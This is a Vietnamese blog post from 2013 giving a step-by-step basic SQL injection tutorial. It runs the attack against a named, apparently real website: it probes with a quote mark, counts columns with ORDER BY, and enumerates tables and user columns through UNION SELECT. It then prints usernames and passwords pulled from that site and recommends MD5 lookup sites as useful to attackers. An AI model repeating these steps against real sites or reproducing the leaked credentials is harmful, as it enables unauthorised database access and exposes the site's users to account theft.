Sunday, July 28, 2013

[Bài 1]Sql Injection Cơ Bản

Xin chào, hôm nay tôi sẽ tiếp tục bài viết nói về vấn đề Sql Injection .
I. Sql Injection là gì ?
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase... ( theo wiki )
Đọc thêm tại : http://vi.wikipedia.org/wiki/SQL_injection , mọi thứ bạn cần đọc về nó đều được ghi cụ thể tại đây nên tôi không nhắc lại nữa. 
II. Phương pháp tấn công Sql Injection đơn giản.
- Ở đây tôi sẽ hướng dẫn cụ thể về phương pháp này và bài sau tôi sẽ hướng dẫn vượt mặt bộ lọc kiểm tra !
1. Kiểm tra lỗi
Thường thì để kiểm tra lỗi chúng ta sẽ thêm dấu " ' " sau đường link có dạng ?id= hay ?product= ..vv. nếu giao diện website có thay đổi chúng ta biết rằng nó đã dính Sql .
2. Tìm số trường cột
Để tìm số trường cột ta sử dụng câu lệnh truy vấn Order by [số trường cột] -- -
VD : http://www.abc-consultancy.com/newsitem.php?id=29 order by 10-- - : không có biểu hiện gì hết thử hạ xuống xem như thế nào
http://www.abc-consultancy.com/newsitem.php?id=29 order by 8-- - : cũng không có biểu hiện gì hết hạ tiếp
http://www.abc-consultancy.com/newsitem.php?id=29 order by 7-- - : và chúng ta thấy nội dung đã hiển thị chứng tỏ số trường cột của site là 7 
Bắt đầu truy vấn , để xem table nó nằm ở trường  cột nào ta sử dụng lệnh Union Select 1,2,3,4,5,6,7-- - với 1,2,3,4,5,6,7 là thứ tự số trường cột ! Ngoài ra trước ?id=29 ta sẽ thêm dấu - để hiện các con số đẹp .



3. Lấy tên table : 
Ta thấy có 2 con số hiện ra và chúng ta sẽ truy vấn ở trường cột số 5
Và thông tin table ta thu được : 
cms_kladblok,cms_links,mailinglist_1,mailinglist_2,mailinglist_3,mailinglist_4,main,newsletter_defaults,newsletter_letter,pub_dokuman,pub_menu,tapugarantie,users,website_dynpage,website_en_mainmenu_links,website_form,website_mainmenu,website_news,website_nl_mainmenu_links,website_publication
Table này sẽ chứa username và password nhưng chưa chắc luôn là vậy nên chúng ta sẽ xem thử tên column trong table đó là gì
4. Xuất ra Column Username và Password trong table Users
Ta chỉ thay đổi table thành column và thêm and table_name=0x7573657273 ( 0x7573657273  là Users được chuyển từ String sang Hex . Có thể chuyển đổi tại đây : http://string-functions.com/string-hex.aspx )

Thông tin ta thu được : id,sesid,username,password,namesurname,songiris,admin
5. Xuất thông tin Username và Password .
- Tới đây ta lượt bỏ bớt và thay vào đó chỉ còn lại là : 
0x2f là ký tự ngăn cách giữa username và password ở đây tôi vẫn chuyển từ string sang hex " / " . Và ta có được : serhatoren/kem07er,Levent/oz07ak,ss/abc07,Burak/abc123
6. Giải mã mật khẩu .
- Tuy nhiên hầu hết các website bây giờ đều mã hóa mật khẩu chủ yếu là MD5 nên các bạn có thể sử dụng các website trâ cứu mật khẩu MD5 như : 
Đây là 3 website tôi nghĩ nó giúp ích rất nhiều cho attacker hiện nay :D

Kết thúc ! Bài tiếp theo tôi sẽ tiếp tục hướng dẫn kỹ thuật bypass như XSS !

No comments:

Post a Comment